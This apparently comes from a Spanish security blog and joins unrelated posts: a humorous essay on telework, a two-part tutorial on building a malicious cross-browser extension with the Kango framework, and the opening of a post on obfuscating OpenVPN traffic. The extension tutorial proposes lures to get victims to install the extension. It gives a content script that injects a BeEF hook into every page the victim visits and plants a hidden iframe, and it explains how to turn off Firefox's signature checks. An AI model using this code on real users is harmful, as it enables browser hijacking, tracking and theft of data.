Teletrabajo o el placer de trabajar en albornoz
Teletrabajo o el placer de trabajar en albornoz: Por Carmelo “Kinjo” Toledo.
Pepe Lotas le invade la ansiedad… se ha levantado un poco tarde y en estos momentos se encuentra atrapado en un monumental atasco. ¡Que horror! Si la cosa sigue así… va a llegar aproximadamente veinte minutos tarde con respecto a la hora de entrada que tiene asignada en su actual puesto de trabajo. Las pulsaciones de Pepe van en aumento al tiempo que las emisiones de monóxido de carbono de su vehículo junto con las del resto de compañeros de embotellamiento, le ofrecen un desayuno gratuito a nuestra atmósfera.
Aparcando como puede, Pepe Lotas, sale disparado del coche y en su mente tan solo una idea ocupa la totalidad de su campo de consciencia… arañar el mayor número posible de segundos en su frenética carrera hacia el odiado “Aparato de Fichar”, el “Fich-O-Matic”,..
Una vez cumplido este trámite a Pepe Lotas todavía le quedará un último escollo que superar antes de poder relajarse… Ese escollo se llama “Jefe”.
– “Sr Lotas, ¿qué horas son estas de llegar?”
– “Perdón.. err… señor es que había atasco y….”
– “No me toque las pe-lotas, Sr idem… aquí hay que estar a la hora… le guste a usted o no le guste…”
– “Si, señor, no volverá a ocurrir”
¿Acaso había alguna actividad urgente que realizar… trabajo retrasado que no podía demorarse más en su conclusión… o tal vez público esperando en ventanilla a ser atendido…?? No.. nada de eso.
Es más… a partir de este momento, Pepe Lotas ya puede, con total tranquilidad, relajarse, irse a desayunar, leer un rato el periódico, y realizar su trabajo diario a su ritmo… todo eso hasta que llega la hora mágica en que vuelve a frotar su tarjeta magnética contra la, por esas horas , insinuante y seductora hendidura del Fich-O-Matic
¿A alguien le suena algo de todo esto? Esta grotesca historia, aunque contada en términos jocosos refleja una escena que aún se repite con demasiada frecuencia.
Aún arrastramos un paradigma de trabajo que a todas luces, desde mi punto de vista ha quedado obsoleto.
Desde THW Consulting entendemos que ha llegado la hora de hacer emerger una mentalidad laboral de fronteras espaciales expandidas, y no solo apostamos, sino que como parte integrante de nuestra filosofía pretendemos ofrecer las herramientas necesarias, para que este cambio pueda producirse de forma real y segura.
Un elevadísimo porcentaje de tareas/trabajos que se realizan en una oficina no requieren interacción directa con el cliente. En estos tiempos y gracias a la aportación de las empresas integradoras de sistemas IT, es posible cambiar el concepto de “horas de trabajo” por el de objetivos realizados en los plazos marcados, un parámetro de medición del rendimiento mucho más realista y eficiente, que permite revertir en la vida personal todo esa cantidad de tiempo muerto de oficina que literalmente se tira a la basura, al no aprovecharse ni en el trabajo ni en la vida personal del empleado.
Quisiera citar en las siguientes líneas, algunas de las ventajas del teletrabajo, tanto para el empleado como para la empresa, y como todo tiene su contrapartida, justo es que comentemos algunas de las desventajas para ambos “bandos”, y que tendremos que ir puliendo y sopesando todos los que estamos implicados en la construcción de una Sociedad Universal de la Información.
Ventajas del Teletrabajo para el Empleado.
Mayor autonomía y movilidad: El trabajador podría compatiblizar su trabajo con su viaje personal por Indonesia, por ejemplo
Aumento de la productividad: Esto habla por sí solo. Cuando se trabaja, se trabaja. No se trabaja para cubrir el expediente o rellenar las horas. Se trabaja por objetivos cumplidos. El tiempo de trabajo está enteramente dedicado a este fin.
Más oportunidades laborales: El teletrabajo permite optar por puestos de trabajo no constreñidos por unas determinadas fronteras espacio-temporales
Mayor especialización. Es hora de acabar con el tópico de jornadas de 8 horas al día cuarenta horas semanales, con independencia del tipo de labor que se desempeñe. El teletrabajo favorece puestos altamente especializados y para tareas muy concretas que requieran una ínfima fracción de tiempo de lo que hasta ahora se conoce como “jornada laboral”
Más vida familiar.. que tanta falta hace en esta época de alienamiento
Mejor integración laboral de personas con discapacidad. ¿Por qué va una persona con discapacidad a tener que desplazarse a nigún sitio para hacer algo que bien podría hacer tranquilamente desde su hogar?
Posibilidad de combinar con tareas domésticas. Trabajo, descanso para hacer la cama… vuelvo a trabajar.. descanso para preparar la comida… todo ello en albornoz, si se desea…
Menor estrés. Ya desde por la mañana… al contrario que nuestro amigo Pepe Lotas
Menos desplazamientos. Démosle un respiro a la atmósfera… ella lleva milenios dándonoslo a nosotros. Además el trabajor podrá dejar de trabajar para pagar el coche que le lleva al trabajo.
¿Y por qué estar inventando protocolos grotescos como la alternancia de matriculas pares e impares con permiso para circular en una ciudad en donde se ha activado el protocolo antipolución. Mucho mejor protocolo antipolución es no tener que desplazar inutilmente cantidad de seres humanos.
Elección personal del entorno de trabajo… la silla perfecta… el entorno ideal.. las fotos de la familia. la música favorita del empleado de fondo.. y el acuario con peces de colores… o sencillamente tenerlo todo tirado y en desorden si es eso lo que nos gusta.
Favorece el acceso a la formación (por medio de la teleformación), con la ventaja añadida de que se aprende a través del medio con que se va a trabajar.
Más tiempo libre, mejor rendimiento que en la oficina, horario flexible, mejor calidad de vida. ¿cuanto pagaría uno por eso?
Herramienta útil para mejorar el ejercicio de cualquier profesión, desvinculada del lugar y del horario, adaptando “el trabajo a la vida” y no “la vida al trabajo”, y sustituyendo “obligación” por” responsabilidad“
Modalidad más racional de trabajo, permite recuperar la profesionalidad y la especialización en el trabajo autónomo e independiente.
Significa también trabajar a gusto, con ilusión, con mayor dedicación y compromiso.
Ventajas del Teletrabajo para la empresa
Menos problemas de convivencia entre empleados
Mayor productividad debido a la implantación del trabajo por objetivos
Menor coste por producción
Menor infraestructura necesaria
Más acceso a profesionales de alto nivel, desde múltiples ubicaciones.
Eliminación de control horario
Mejora de plazos de entrega
Posibilidad de modificar horarios de trabajo
Eliminación del absentismo laboral
Implementación de las Nuevas Tecnologías de la información, ya que la empresa que contrata Teletrabajadores está obligada a disponer de equipos adecuados para poder realizar un trabajo ágil.
Reducción de costes: la creación de un puesto de Teletrabajo resulta un 50% más barato que un puesto presencial.
Facilidad de expansión geográfica mutinacional
Crecimiento sin cambios estructurales
Mejor aprovechamiento de los puestos de trabajo, que pueden ser compartidos por distintos trabajadores.
Menor contaminación al disminuir el traslados de trabajdores desde sus casas a sus puestos de trabajo presencial.
Justo es que comentemos algunas de las desventajas con las que hemos de lidiar, siendo en muchas ocasiones desventajas derivadas del paradigma del trabajo presencial, y de hábitos mentales adquiridos, más que desventajas propiamente dichas.
Desventajas del Teletrabajo para el Empleado
Inseguridad laboral, ya que puede hacer más frecuente un despido por la falta de contacto directo y de los vínculos emocionales que pudieran haberse creado a través de un contacto directo. El empresario puede tender a ver a sus teleemplados como meras piezas dentro de su esquema empresarial. Aunque esto tampoco dista mucho de lo que hoy en día sucede.
Falta de ambiente laboral, el ambiente en el que el trabajador presta sus servicios puede no ser el más apto para la realización de sus actividades, aunque el empleado crea lo contrario.
Puede provocar el sedentarismo, ya que se disminuyen los traslados y movimientos.
Aumento de conflictos o distracciones dentro del núcleo familiar.
Perdida de colaboración y relaciones personales con otros trabajadores de su area.
Desventajas del teletrabajo para la empresa.
Hay un punto de rendimiento decreciente empleando a teletrabajadores, donde el coste de un control de calidad es mayor que el valor que esos teletrabajadores aportan, ya que la supervisión del trabajador desde casa es menor.
Suele haber pérdida de jerarquías. Al los jefes de la vieja ola les cuesta dejar de sentirse “jefes”
Se pueden crear conflictos derivados de la lealtad de los teletrabajadores cuando accedan a la información confidencial de la compañía. Cuesta dejar pasar a personas a las que no se les está viendo la cara.
Se da una menor identificacion del trabajador con la empresa.
El aislamiento fisico produce una menor socializacion y participacion del trabajador.
El debate está sobre la mesa, y desde THW Consulting apostamos claramente por modelos de trabajo en red distribuidos, que ya hemos puesto en marcha en nosotros mismos.
Dentro de no mucho tiempo, el teletrabajo será igualmente aplicable a los puestos que requieren interacción directa con el cliente. Esto lleva de forma natural al concepto de “telepresencia” en el que incluso los puestos de atención personal al cliente pueden realizarse desde ubicaciones remotas mediante videoconferencias de alta calidad.
Pero el caso particular de la telepresencia… ya no admite el trabajo en albornoz
Carmelo “Kinjo” Toledo
Ataques MITB persistentes “cross-browser” con Kangoo Framework – Parte 2.
Partiendo de lo visto en la entrada anterior, es el momento de comenzar a pensar en qué alternativas se encuentran disponibles de cara a un atacante a la hora de incluir rutinas maliciosas sobre la extensión desarrollada. En este sentido, pueden haber muchas rutinas basadas en Javascript que se podrían incluir directamente en el código de la extensión, las cuales se podrían encargar de extraer información o utilizar el navegador web como “pivote” para realizar peticiones contra otros sitios web en Internet obviamente sin el consentimiento del usuario. Como se ha visto antes, para crear dichas rutinas en Kangoo contamos con 2 alternativas posibles: Background y Content scripts. Vamos a ver cuál puede ser la mejor forma para crear la extensión con rutinas maliciosas a lo largo de éste post, sin embargo, antes de ello hay que pensar en el payload que se quiere distribuir en la extensión, qué operaciones debe ejecutar dicho payload sobre el navegador web y por supuesto, intentar que dichas operaciones tengan el mayor impacto posible sobre la “víctima”. Pueden haber varias opciones para cumplir con dicho objetivo, sin embargo, para éste caso concreto, vamos a centrarnos en el uso de una herramienta de la que ya se ha hablado anteriormente en éste blog y que tiene una potencia que pocas herramientas enfocadas a los ataques “client-side” disponen actualmente, estamos hablado de BeEF. Como se ha comentado en la serie de artículos en los que se ha hablado de BeEF (concretamente aquí, aquí, y aquí) el funcionamiento de ésta herramienta se basa en la distribución de un “hook” que contiene una serie de instrucciones que permiten establecer un canal de comunicación directo con un panel de control central, en donde es posible gestionar todas las víctimas (en la terminología de BeEF conocidas como “Zombies”) y posteriormente, ejecutar sobre cada una múltiples comandos que permiten utilizar al “zombie” como un pivote para ejecutar ataques a otros sistemas o extraer información del navegador de la víctima. Aunque BeEF es una herramienta que se encuentra desarrollada en Ruby, el “hook” se basa en Javascript, ya que evidentemente contiene todas las instrucciones que se deben de ejecutar en el lado del cliente. Cuando se levanta BeEF se puede ver que además de indicar la ruta donde se encuentra el hook, también inicia la interfaz web desde donde se podrán controlar todos los navegadores que ejecuten el hook.
Ahora que se encuentra levantada la instancia de BeEF y tenemos un “hook” resulta evidente que partiendo de lo visto en la entrada anterior, es necesario que la extensión se encargue de descargar el hook del servidor de BeEF y posteriormente sea ejecutado directamente en el navegador en donde se ha instalado la extensión. Como se ha visto antes, para desarrollar la lógica de la extensión, las principales alternativas disponibles son “background scripts” y “content scripts”, los cuales permiten el uso completo de la API de Kangoo pero tal como se ha explicado en la entrada anterior, su contexto de ejecución es distinto. A continuación vamos a analizar ambas alternativas detalladamente a la hora de cargar el “hook” y ver cuál puede ser la más efectiva.
Cargar el Hook de BeEF en un Background Script
En el fichero “main.js” se encuentran las instrucciones que se ejecutarán como un “background script”, se trata de instrucciones que son independientes de las páginas cargadas por el usuario y se ejecutan directamente en el contexto del navegador. El Hook de BeEF está compuesto por instrucciones Javascript que se deben ejecutar por el cliente (navegador) para que todo funcione según lo esperado y aunque lo más habitual es cargar dicho hook en una página con alguna vulnerabilidad del tipo XSS, Content Spoofing o similar, en este caso concreto es posible descargarlo desde el servidor de BeEF e incluir el fichero JS directamente en la extensión como si se tratase de cualquier otro background script. En tal caso, lo único que haría falta seria editar el fichero “extension_info.js” e incluir el hook para que el navegador se encargue de ejecutarlo en el momento en el que la extensión se encuentre cargada y habilitada en el navegador. Es un enfoque sencillo y en apariencia requiere muy poco esfuerzo, aunque como se verá a continuación no es el más adecuado para nuestros propósitos. El contenido del fichero “extension_info.js” únicamente cambiará en la sección “background_scripts”
"background_scripts": [
"main.js",
"hook.js"
]
Del mismo modo que el fichero “main.js” se encuentra bajo el directorio “src/common”, el fichero “hook.js” de BeEF debe encontrarse también en la misma ubicación. Dado que no es necesario realizar ninguna modificación adicional para realizar ésta prueba de concepto, a continuación se procede a construir nuevamente la extensión tal y como se ha visto en la entrada anterior y posteriormente, se procede a instalarla en el navegador web y ….
La extensión se carga correctamente y el hook llega a ejecutarse sobre un navegador web Firefox, pero no funciona igual sobre un navegador web como Chrome debido a las medidas de seguridad que impone dicho navegador sobre elementos potencialmente peligrosos. En ambos casos, es posible apreciar que la extensión carga el fichero “hook,js” de BeEF pero solamente llega a establecerse correctamente la conexión cuando se utiliza un navegador web Firefox. Dicho esto, utilizar Background Scripts no parece ser la alternativa más viable, pero aún nos queda la otra opción: Content Scripts.
Cargar el Hook de BeEF en un Content Script
Los Content Scripts son rutinas muy potentes ya que permiten acceder a cada uno de los sitios que un usuario visita mientras que la extensión se encuentra activa. Evidentemente, este tipo de rutinas pueden ser utilizadas para realizar actividades de seguimiento y tracking sobre los contenidos que visualiza el usuario navegando por Internet. Navegadores web como Firefox tienen un mecanismo muy robusto basado en firmas para impedir que cualquier extensión sea instalada por el usuario, únicamente permite la instalación de extensiones firmadas y verificadas por Mozilla, algo que es de agradecer ya que de esta forma la “superficie de ataque” se reduce bastante e impide que un usuario instale en su navegador una extensión potencialmente dañina, aunque como se ha visto en la entrada anterior, éste comportamiento por defecto se puede modificar simplemente alterando cambiando la configuración del navegador web. Los Content Scripts están diseñados precisamente para realizar diferentes tipos de operaciones sobre cada uno de los sitios visitados por los usuarios, siendo lo suficientemente flexibles como para declarar reglas en base a los sitios web visitados y también, tal como se ha visto en la entrada anterior, es posible manipular el árbol DOM de cada sitio web.
Con esto debería ser suficiente para manipular la estructura de las páginas web visitadas por las víctimas y crear de forma dinámica, un elemento “script” que se encargará de cargar el hook de BeEF. Ahora, para poner en marcha lo explicado antes, vamos a proceder a modificar el fichero “content.js” de la extensión desarrollada anteriormente con el siguiente contenido:
// ==UserScript==
// @name THW Frame
// @include http://*
// @include https://*
// @require jquery-1.9.1.min.js
// ==/UserScript==
var frame =$(document.createElement('script')).attr({
src:'http://127.0.0.1:3000/hook.js',
type:'text/javascript'
}).appendTo(document.body);
Lo anterior, como una prueba de concepto básica ésta bien, pero evidentemente es conveniente ajustar las reglas de “include” a únicamente aquellos dominios que puedan resultar interesantes y también, realizar pruebas en un entorno diferente al local, por ejemplo, un VPS o similar, sin embargo sobre éste último punto se hablará con mayor detalle en una próxima entrada.
Como se puede apreciar, en este caso cada una de las páginas visitadas por el usuario será modificada por la extensión y en el árbol DOM de cada página, se creará un nuevo elemento “script” que apuntará a las rutinas del hook de BeEF para llevar a cabo el ataque “client-side”.
Con estás pequeñas modificaciones, ahora solamente es necesario volver a construir la extensión y desplegarla en el navegador web, evidentemente BeEF se debe encontrar levantado para aceptar las conexiones realizadas por parte de la víctima. Desde el directorio de Kangoo ejecutar:
python kango.py build THWExtension/
[ INFO] Contact extensions@kangoextensions.com to enable IE support
[ INFO] Running Kango v1.8.0
[ INFO] Building chrome extension…
[ INFO] Building firefox extension…
[ INFO] Building safari extension…
Ahora, con la extensión generada se debe proceder a instalarla directamente en el navegador web.
A continuación, navegar por cualquier sitio web en Internet, en el caso de la imagen de abajo, se puede ver que el usuario ha navegado por el sitio web de youtube y es precisamente lo que se enseñará en la sección de “Hooked Browsers” de BeEF.
Como se puede ver en la imagen anterior, la estructura de la página ha cambiado y aunque su comportamiento es el mismo, se ha incrustado un nuevo elemento “script” que es el que permite realizar las conexiones desde el navegador hacia el servidor de BeEF, de hecho, tal como se puede apreciar en la siguiente imagen, las peticiones realizadas por el hook son constantes, con el fin de enviar peticiones del tipo “keep-alive” al servidor e indicarle que el navegador aún se encuentra infectado.
Finalmente, desde el servidor de BeEF es posible realizar diferentes tipos de ataques del tipo client-side tal como se ha enseñado en otras entradas de éste blog, además, dado que no se han declarado reglas de filtrado sobre los dominios a consultar, todas las páginas que visite el usuario se van a ver alteradas, aunque como comentaré en otra entrada, a veces pueden haber problemas debido a las políticas de seguridad establecidas en el navegador web, como por ejemplo CSP (Content Security Policy).
En éstas dos entradas se ha explicado cómo desarrollar una extensión maliciosa, pero no deja de ser simplemente una prueba de concepto de la que podrían resultar ataques mucho más estructurados y elaborados. En un siguiente artículo, vamos a ir un paso más adelante y se intentará explicar cómo se puede llevar a cabo ésta misma PoC desde Internet de una forma un poco más “profesional” y sobre todo, conservando el anonimato del panel de control de BeEF, básicamente lo mismo que haría cualquier atacante en Internet.
Un saludo y Happy Hack!
Adastra.
Ataques MITB persistentes “cross-browser” con Kangoo Framework – Parte 1.
Uno de los grandes inconvenientes de los ataques del tipo “client-side” es que dependen en gran medida de la interacción del cliente (navegador) y su configuración. Es posible crear un hook en un lenguaje como Javascript para ejecutar rutinas maliciosas en el lado del cliente y comprometer su sistema, es una técnica en la que se basan herramientas tan interesantes y potentes como BeEF, sin embargo, en el momento en el que el navegador o la pestaña donde se está ejecutando el hook se cierra, los recursos utilizados por el hook incluyendo las conexiones que pudiera tener abiertas con el atacante se pierden. Es algo difícil de manejar desde el lado del atacante y aunque el hook se encuentre muy bien desarrollado, es importante mantener viva la interacción del cliente con la página que contiene las rutinas maliciosas, algo que no siempre es posible por innumerables razones. Por este motivo, buscar una forma persistente, o al menos, que permita que las conexiones entre la víctima y el atacante sean lo más estables posibles, es uno de los principales objetivos en éste tipo de vectores de ataque. Una buena forma, consiste en “engañar” a la víctima y hacer que instale una extensión maliciosa en su navegador, la cual se va a encontrar en ejecución de forma constante, siempre y cuando dicha extensión se encuentre activa en el navegador, por supuesto. Evidentemente, para que la extensión en cuestión sea interesante para el mayor número de “víctimas” potenciales, debe ofrecer algo que el cliente quiera tener en su navegador, que le aporte algo significativo y útil para las actividades que desempeña, ya sea ocio, trabajo o cualquier otra cosa. Algunas ideas que se me ocurren, podrían ser:
– Extensión que permita programar alertas ante diferentes tipos de eventos sobre múltiples redes sociales.
– Extensión que permita gestionar varios perfiles de redes VPN y permita conectarse a una o varias de ellas.
– Extensión para detectar y bloquear páginas con scripts maliciosos (la vida está llena de ironías).
– Extensión que permita almacenar localmente las páginas visitadas dependiendo de las reglas indicadas por el usuario.
– Extensión para gestionar de forma ordenada, estructurada, categorizada y utilizando técnicas de machine learning, todo el p0rn que el usuario visualiza y descarga diariamente desde su navegador. Ojo, esto puede ser una idea de negocio y dado el volumen de datos manejar, es posible que sea necesaria una solución de big data. Millones de “víctimas” potenciales. (Es broma, o no…)
Cualquier idea que se os ocurra es aplicable, no obstante, al margen de la funcionalidad que deberá contemplar la extensión, es importante decidir cómo se debe desarrollar, sobre qué navegadores debe ser compatible, cuál será el medio de distribución y qué rutinas “maliciosas” debe ejecutar. En este post simplemente nos vamos a centrar en el primer punto y cómo, utilizando el Framework Kangoo, es posible desarrollar extensiones compatibles con los navegadores más utilizados actualmente, tales como Firefox, Chrome o IE.
¿Qué es Kangoo y cómo funciona?
Kangoo es un framework desarrollado en Python que permite crear extensiones rápida y facilmente, las cuales son compatibles en diferentes navegadores web. Dichas extensiones son desarrolladas utilizando la API disponible en Kangoo y que permite incluir rutinas en Javascript o incluso, cargar scripts de forma remota, algo que desde luego puede ser explotado por un atacante para incluir en la extensión un script con Javascript que permita llevar a cabo un ataque “client-site”, aunque evidentemente en tal caso es necesario tener en cuenta las restricciones de seguridad que impone el navegador web.
En este caso concreto y partiendo de los ejemplos suministrados en el proyecto, se va a crear una extensión sencilla que se desplegará en un navegador web Chrome, así que vamos a ello.
En primer lugar, es necesario instalar Kangoo, que como se ha dicho anteriormente es un proyecto basado en Python y para hacerlo, basta simplemente con seguir los siguientes pasos:
1. Descargar la última versión disponible del sitio web oficial de Kango: http://kangoextensions.com/kango.html
2. A continuación, se debe descomprimir el paquete descargado en cualquier directorio y comenzar a crear proyectos.
2.1 Desde hace algún tiempo el link de descarga no funciona correctamente, si os da un 404 al intentar descargar el ZIP del proyecto, recordar que podéis utilizar “la máquina del tiempo”: http://archive.org/web/ y navegar a un snapshot previo. Los de el 2017 no funcionan correctamente, así que ir a los últimos del 2016.
3. Dentro del directorio de Kangoo se encuentra el script “kango.py” el cual permite la creación y gestión de proyectos.
4. Crear el proyecto con el siguiente comando:
python kango.py create “THWExtension”
[ INFO] Contact extensions@kangoextensions.com to enable IE support
[ INFO] Running Kango v1.8.0
Input project name: THWExtension
[ INFO] Creating project…
[ INFO] Project created in directory /THW/THWBlog/kango-framework-latest/THWExtension
5. Ahora que el proyecto ya se encuentra creado es el momento de verificar los directorios y ficheros que ha creado y entender para qué sirven.
En primer lugar, en el directorio THWExtension/src se encuentra todo el código de la extensión y es en donde hay que empezar a meter cosas. Vamos a encontrarnos con los siguientes directorios dentro de “src”:
“chrome”, “common”, “firefox”, “ie”, “safari”.
Evidentemente cada uno corresponde a elementos muy concretos de cada uno de dichos navegadores web, sin embargo la forma en la que funciona Kangoo nos permite desarrollar componentes “cross browser” que pueden funcionar en los navegadores soportados por el framework.
En el directorio “src/common“existen dos ficheros llamados “main.js” y “extension_info.js“, siendo éste último el que permite establecer los detalles básicos de la extensión creada anteriormente, incluyendo cosas tan importantes como el listado de “content_scripts” y “background_scripts“, así como detalles visuales de la extensión como el icono.
En el fichero “main.js” de la configuración por defecto creada para el proyecto, se incluyen las instrucciones básicas que ejecutará la extensión cuando el navegador la cargue en el contexto correspondiente, con lo cual es el punto en donde se deben incluir las instrucciones “core” de la extensión y es probablemente que sea el mejor punto para comenzar a incluir instrucciones que puedan ser maliciosas, algo que se verá en la siguiente entrada.
Aunque la configuración por defecto solamente crea un “background script” definido en el fichero “main.js“, una de las cuestiones más importantes en Kangoo Framework, es que es posible crear “background scripts” para las operaciones core de la extensión y “content scripts” para acceder al contexto de las páginas web visitadas por el usuario, accediendo a todo el DOM de la página y a su información, algo que desde luego puede ser muy interesante de cara a la creación de una extensión que realice cualquier tipo de rutina maliciosa. Los “content scripts” no solamente permiten acceder la estructura DOM de las páginas, también permite alterar dicha estructura, de tal forma que es posible controlar el comportamiento visual de los componentes enseñados por cualquier sitio web, permitiendo por ejemplo, incrustar un “iframe” oculto que se encargue de descargar un script malicioso. ¿Veis por donde van los tiros? 😉
Primera extensión (muy, pero que muy básica) utilizando Kangoo.
Después de crear el proyecto, el siguiente paso consiste en comenzar a incluir instrucciones en los scripts que harán parte de la extensión. Para ello, es necesario conocer los elementos de la API de Kangoo, la cual se encuentra basada en Javascript nos permite tener un total control sobre las cosas que se pueden y no se pueden hacer en la extensión. En primer lugar, es necesario ajustar los contenidos del fichero “src/common/extension_info.js”, ya que dicho fichero es el que realmente nos permite configurar nuestra extensión. El siguiente contenido puede valer para lo que nos interesa en éste punto.
{
"content_scripts": [“content.js”],
"description": "THW Labs extension",
"creator": "Adastra",
"background_scripts": [
"main.js"
],
"homepage_url": "https://thehackerway.com/",
"version": "0.1",
"browser_button": {
"caption": "THW Extension",
"icon": "icons/thw.png",
"tooltipText": "Make THW Blog great again"
},
"name": "THWExtension"
}
Como se puede apreciar, la parte más importante del fichero se encuentra en la definición de los “content_scripts” y “backgroud_scripts”, además, también es importante apreciar que el atributo “icon” de la estructura “browser_button” apunta a un fichero que se debe encontrar en el directorio “src/common/icons”. Con está configuración básica nos podemos centrar en incluir las instrucciones de los background y content scripts.
Background script
Como se ha comentado anteriormente, en los scripts de background se incluyen todas aquellas instrucciones que permiten controlar la extensión y cualquier otro detalle que hace parte de las funcionalidades propias de la extensión. Aquí se puede utilizar Kangoo en su máxima expresión, ya que es posible hacer uso de la API completa, la cual se encuentra documentada en el siguiente enlace: http://kangoextensions.com/docs/index.html
Ahora bien, las instrucciones básicas que contendrá nuestro primer background script serán las siguientes:
function THWExtension() {
var self = this;
kango.ui.browserButton.addEventListener(kango.ui.browserButton.event.COMMAND,
function() {
self.loadPage();
});
}
THWExtension.prototype = {
loadPage: function() {
kango.browser.tabs.create({url:'https://thehackerway.com/'});
}
};
var extension = new THWExtension();
Como se puede ver, lo primero que se define es una función que contiene la lógica de la extensión, la cual, en éste caso, se encarga simplemente de invocar a la función “loadPage” únicamente en el caso de que se produzca un evento sobre el botón de la extensión, es decir, cuando un usuario pinche sobre él. En éste caso se utiliza el objeto “kango.ui.browserButton” para vincular el evento correspondiente a la interacción del usuario con el botón de la extensión. Luego, se declara el prototipo de la función principal y en él, se incluye la función que se invocará ante el evento descrito anteriormente. La función invocada (“loadPage”) se encarga simplemente de utilizar la API de Kangoo para crear una nueva pestaña en el navegador y abrir en ella la url indicada en el parámetro “url”. Se trata de una extensión sencilla y en la que se puede apreciar la filosofía que se debe aplicar cuando se crean background scripts con Kangoo.
Content script
Si bien es cierto que se trata de un tipo de script bastante interesante, no suele ser utilizado muy a menudo, excepto claro está, para realizar operaciones muy concretas. En este caso, se va a crear un content script que simplemente se encargará de incluir un “iframe” en el árbol DOM de cada una de las páginas visitadas por el usuario, ni más ni me nos que eso. Algo sencillo y sin aplicar ningún tipo de filtro, absolutamente todas las páginas visitadas por parte del usuario serán procesadas por el content script e insertará en ellas el mismo “iframe”, evidentemente para que esto funcione, es necesario que la extensión se encuentre cargada y activa en el navegador web. El contenido del fichero “src/common/content.js” puede ser como el que sigue:
// ==UserScript==
// @name THW Frame
// @include http://*
// @include https://*
// @require jquery-1.9.1.min.js
// ==/UserScript==
var frame = $(document.createElement('iframe')).attr({
src: 'https://thehackerway.com',
width: 0
}).appendTo(document.body);
El content script es sencillo, en primer lugar las primeras instrucciones indican que se deben procesar absolutamente todos los dominios visitados desde el navegador web, ya sea por HTTP o por HTTPS. En el caso de querer excluir algún dominio concreto, simplemente basta con utilizar la etiqueta @exclude e indicar el dominio o patrón/expresión regular. También, como se puede apreciar, la etiqueta @require indica que se debe incluir el fichero “jquery-1.9.1.min.js” en la ejecución del content script. Posteriormente, se utiliza jquery para acceder a la estructura DOM de cada uno de los sitios web visitados desde el navegador web y se crea un “iframe” cuyo “src” apunta a https://thehackerway.com y además, el width a “0” indica que el script no va a ser visible de cara al usuario. Dicho elemento se inserta directamente en el arbol DOM de la página web visitada gracias a la función “appendTo”.
Se trata de un script sencillo y que puede hacer bastante daño como resulta evidente. Ahora vamos a ver cómo se construye y despliega la extensión en el navegador web.
Construcción y despliegue.
Con todos los elementos preparados, es el momento de construir la extensión. Es algo muy sencillo, basta con ejecutar el siguiente comando desde el directorio raíz de Kangoo (donde se ha instalado).
python kango.py build THWExtension
[ INFO] Contact extensions@kangoextensions.com to enable IE support
[ INFO] Running Kango v1.8.0
[ INFO] Building chrome extension…
[ INFO] Building firefox extension…
[ INFO] Building safari extension…
Con esto se genera el directorio “THWExtension/output” el cual contiene la extensión empaquetada y lista para ser desplegada. Hay que tener en cuenta varias cosas:
1. Los errores de construcción que arroja Kangoo en ocasiones suelen ser poco descriptivos, es importante asegurarse de que el fichero “extension_info.json” es correcto y que cada uno de los ficheros se encuentra ubicado donde debe de estar.
2. En el caso de que la imagen para el botón de la extensión no se encuentre en el directorio “src/common/icons” Kangoo lanzará un error que indica que no se ha podido abrir un fichero o directorio, concretamente lanzará la siguiente excepción:
IOError: [Errno 2] No such file or directory: ‘/THW/THWBlog/kango-framework-latest/THWExtension/output/chrome.crx’
3. En el caso de que los content o background scripts requieran de elementos externos, como el caso de un script como “jquery”, es necesario ubicar dicho fichero en el directorio “src/common” al mismo nivel en el que se encuentran dichos scripts.
Finalmente, basta simplemente con desplegar la extensión directamente en cualquier navegador soportado, del mismo modo que se instala cualquier extensión y una vez realizado dicho proceso, se podrá ver el botón de la extensión en la barra de extensiones del navegador.
4. En el caso de instalar la extensión de una versión reciente de Firefox, es posible que no sea posible hacerlo debido a que por defecto, el navegador admite únicamente extensiones firmadas. Ver en detalle el siguiente artículo de Mozilla: https://support.mozilla.org/t5/Problems-with-add-ons-plugins-or/Add-on-signing-in-Firefox/ta-p/30262 la solución para realizar pruebas es simple, entrar en la página web de administración del navegador “about:config” y cambiar el valor de la propiedad “xpinstall.signatures.required” a false.
Ahora, con la extensión activa, es posible navegar por cualquier sitio en Internet y se podrá apreciar en el árbol DOM de cada página, que se incluye un elemento “frame” que si bien, no es visible de cara al usuario, si se ve puede ver en el código fuente de la página.
De momento sólo tenemos una extensión básica, pero aún falta la parte en la que se introducen instrucciones que pueden ser interesantes de cara a un atacante, esto se verá en el siguiente artículo en donde se indicarán las alternativas disponibles partiendo de lo que se ha explicado en éste post.
Un saludo y Happy Hack!
Adastra.
Ocultación de tráfico con Obsfproxy y OpenVPN
OpenVPN es una muy buena alternativa a la hora navegar de forma privada y segura, crear una VPN es algo relativamente fácil de configurar, dependiendo evidentemente de tus necesidades y de las complejidades que pueda tener tu entorno/configuración, no obstante, en algunas ocasiones no se puede utilizar de forma directa debido a restricciones y medidas de censura que se aplican en ciertos lugares del mundo, por ejemplo, si te encuentras en China continental te vas a encontrar con que tu cliente de OpenVPN no se podrá conectar con el servidor debido a los bloqueos impuestos por “el gran firewall” chino, las medidas de censura instauradas por éste y otros gobiernos impiden que se puedan completar las conexiones utilizando un canal cifrado. En este caso concreto, para conseguir el filtrado de dichas conexiones, los ISPs junto con los “entes censores” implementan técnicas para el análisis de tráfico y detección de patrones “sospechosos”, dichas técnicas son conocidas como DPI (Deep Packet Inspection) permitiendoles saber que aunque el tráfico se encuentre cifrado, utiliza algún tipo de protocolo concreto, el cual pueden encontrarse restringido o no y evidentemente, partiendo de dicha información, se toma la decisión de permitir o bloquear el tráfico de forma automática. Este problema ya lo han enfrentado soluciones de anonimato como TOR y tal como os comentaba en otro articulo, la mejor forma a día de hoy de “saltarse” esas restricciones consiste en utilizar implementaciones de “Pluggable Transports” los cuales se encargan de alterar el tráfico generado desde el cliente y enmascararlo de tal forma que de cara al ISP o censor se trata de paquetes de datos que no cumplen con ninguno de los patrones de bloqueo y en apariencia, tiene el mismo comportamiento de una petición habitual, como una búsqueda en Baidu (http://www.baidu.com/) o Sogou (http://www.sogou.com/). Existen múltiples implementaciones de Pluggable Transports y aunque las más robustas y extendidas han sido desarrolladas por el equipo de TorProject, existen otras implementaciones que buscan la interoperabilidad de los “Pluggable Transports” en soluciones de privacidad y anonimato distintas a TOR, como es el caso de uProxy, Lantern o Psiphon.
